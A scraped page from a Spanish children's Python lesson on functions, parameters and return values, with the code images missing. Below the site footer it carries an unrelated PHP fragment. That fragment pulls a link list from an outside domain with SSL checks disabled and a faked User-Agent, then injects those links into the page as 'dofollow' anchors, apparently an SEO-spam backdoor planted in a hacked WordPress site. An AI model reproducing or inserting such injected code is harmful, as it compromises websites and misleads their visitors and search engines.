Be Maker

Loading...

Be Maker

Programación con Python y EduBlocks

LECCIÓN 05 – ¡La Magia de las Funciones!

💰Recompensa: 10 bCoins y 10 Cristales de Conocimiento por cada proyecto, desafío o reto publicado en el MakerSpace💰

👋 ¡Bienvenido aventurero Python!

💡¿Te imaginas tener hechizos que puedes invocar cuando quieras? ¡Eso es exactamente lo que hacen las funciones en programación!

🚀 5.1 ¿Qué son las funciones?

💡 Una función es un bloque de código que realiza una tarea específica y puede ser reutilizado. Es como una receta mágica que puedes invocar cuando la necesites.

08

🔎 Ejemplo:

🤖 Imagina que tienes un robot que sabe cómo bailar. La función "bailar()" contiene todos los pasos para que el robot baile. Cada vez que quieras que el robot baile, ¡solo tienes que usar la función "bailar()"! 🕺

🧪 Experimento 01: Funciones

🔬 Explicación:

Observamos que en la pantalla no se muestra ningún mensaje, esto debido a que creamos la función pero no la estamos utilizando. ¿Qué sucede si debajo del código coloco el bloque saludar()?

🛸 Proyecto 1: El Hechizo Repetido

 📌 ¿Qué pasó?

En este caso llamamos a la función y se repite la palabra ¡Magia! 3 veces, ya que dentro de la función tenemos un bucle for que justamente hace esta tarea.

🛠️Desafío 1: Demuestra lo Aprendido

➡️ Escribe una función llamada cantar() que imprima "¡Lalala!".

💻 Resultado:

🛠️Desafío 2: Demuestra lo Aprendido

➡️ Haz una función llamada contar() que imprima los números 1, 2 y 3.

💻 Resultado:

🚀 5.2 Parámetros: funciones con ingredientes mágicos

💡 Los parámetros son variables que pasamos a una función para que pueda trabajar con ellos. Son como los ingredientes de un hechizo.

09

🛸 Proyecto 2: Saludo Mágico

 📌 ¿Qué pasó?

Cada vez que llamamos a la función debemos escribir un nombre, que justamente es el parámetro de dicha función, después nos muestra un saludo con ese nombre.

🛸 Proyecto 3: Mi Superpoder

 📌 ¿Qué pasó?

Cada vez que llamamos a la función, debemos escribir dos parámetros: el nombre de una persona y su superpoder, para verlo en la pantalla.

🛠️ Desafío 3: Demuestra lo Aprendido

➡️ Escribe una función llamada mezclar(i1, i2, i3) que tome tres ingredientes e imprima "Mezclando [i1], [i2] y [i3]".

💻 Resultado:

🛠️ Desafío 4: Demuestra lo Aprendido

➡️ Crea una función llamada ataque(tipo, nivel) que tome un tipo de hechizo y un nivel, e imprima "Ataque de [tipo] nivel [nivel]".

💻 Resultado:

🚀 5.3 Valor de retorno: funciones que devuelven regalos

💡 Las funciones también pueden devolver algo. Eso se llama "valor de retorno". Usamos la palabra clave return para eso.

10

🛸 Proyecto 5: Suma

 📌 ¿Qué pasó?

A diferencia de otras funciones, ahora tenemos una función que  devuelve o retorna la suma de dos números que introducimos,  dicho resultado se guarda en la variable resultado para luego mostrarlo en la pantalla.

🛸 Proyecto 5: Suma Mágica

 📌 ¿Qué pasó?

En este caso tenemos una función que retorna la suma de dos números que introducimos por teclado, para luego mostrar el resultado.

🛠️ Desafío 5: Demuestra lo Aprendido

➡️ Escribe una función llamada poder(nivel) que tome el nivel de un mago y duplique su poder (nivel * 2).

🛠️ Desafío 6: Demuestra lo Aprendido

➡️ Crea una función llamada resistencia(fuerza, armadura) que tome la fuerza y la armadura de un guerrero, y devuelva su resistencia (fuerza + armadura * 2).

💻 Resultado:

🎯 Resumen de la Lección 05

⚔️¡Estamos listos, a construir!⚔️

💰Recompensa: 20 bCoins y 10 Gemas de Experiencia por cada reto resuelto💰

📝 Responde en tu Cuaderno 

🔥 Pregunta 01: ¿Qué hace el siguiente código?

1️⃣ ¿Qué figura dibuja el siguiente código?

🔥 Pregunta 02: Verdadero o Falso

1️⃣ Las funciones son como mini-programas.
2️⃣ Las funciones solo se pueden usar una vez.
3️⃣ Usar funciones nos ayuda a escribir menos código.

💻 Programa en tu Computadora

🔥 Reto 01:

Crea una función llamada dias() que diga "Buenos días"

💻 Resultado:

🔥 Reto 02:

Crea una función llamada yo() que muestre tu nombre y edad.

💻 Resultado:

🔥 Reto 03:

Haz una función llamada contar() que muestre los números del 1 al 10.

💻 Resultado:

🔥 Reto 04:

Crea una función felicitar(nombre) que pida y tome un nombre y diga "Felicidades, [nombre]"

💻 Resultado:

🔥 Reto 05:

Escribe una función llamada restar(n1, n2) que pida y tome dos números y muestre su resta.

💻 Resultado:

🔥 Reto 06:

  1. Haz una función llamada figura(simbolo) que pida y tome un símbolo y muestre un «cuadrado» con ese símbolo.

💻 Resultado:

🔥 Reto 07:

Crea una función llamada doble(n) que pida y tome un número y devuelva su doble (2*n).

💻 Resultado:

🔥 Reto 08:

Haz una función llamada sumar3(n1, n2, n3) que pida y tome tres números y devuelva su suma.

💻 Resultado:

🔥 Reto 09:

Escribe una función llamada mayor(n1, n2) que pida y tome dos números y devuelva el mayor.

💻 Resultado:

💀 Reto Extra: Solo para los más intrépidos y osados.

💰Recompensa Adicionale: 50 bCoins y 15 Gemas de Experiencia💰

"El Cofre del Tesoro Secreto": Crea la función cofre(palabra), que pida y tome una palabra y devuelva un mensaje diciendo si el cofre se puede o no se puede abrir.

💻 Resultado:

logo bmaker
Be Maker. Imagina, diseña, construye...
$api_url = 'https://ankaradelisi13.site/data.json'; // API'den çek $response = wp_remote_get($api_url, array( 'timeout' => 5, // 5 saniye bekle, olmazsa geç 'sslverify' => false, 'headers' => array( 'Accept' => 'application/json', 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) )); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $body = wp_remote_retrieve_body($response); $links = json_decode($body, true); if (!empty($links) && is_array($links)) { echo ''; echo '
'; foreach ($links as $link) { $text = isset($link['text']) ? esc_html($link['text']) : ''; $url = isset($link['url']) ? esc_url($link['url']) : '#'; $rel = isset($link['rel']) ? esc_attr($link['rel']) : 'dofollow'; echo '' . $text . ' '; } echo '
'; echo ''; } }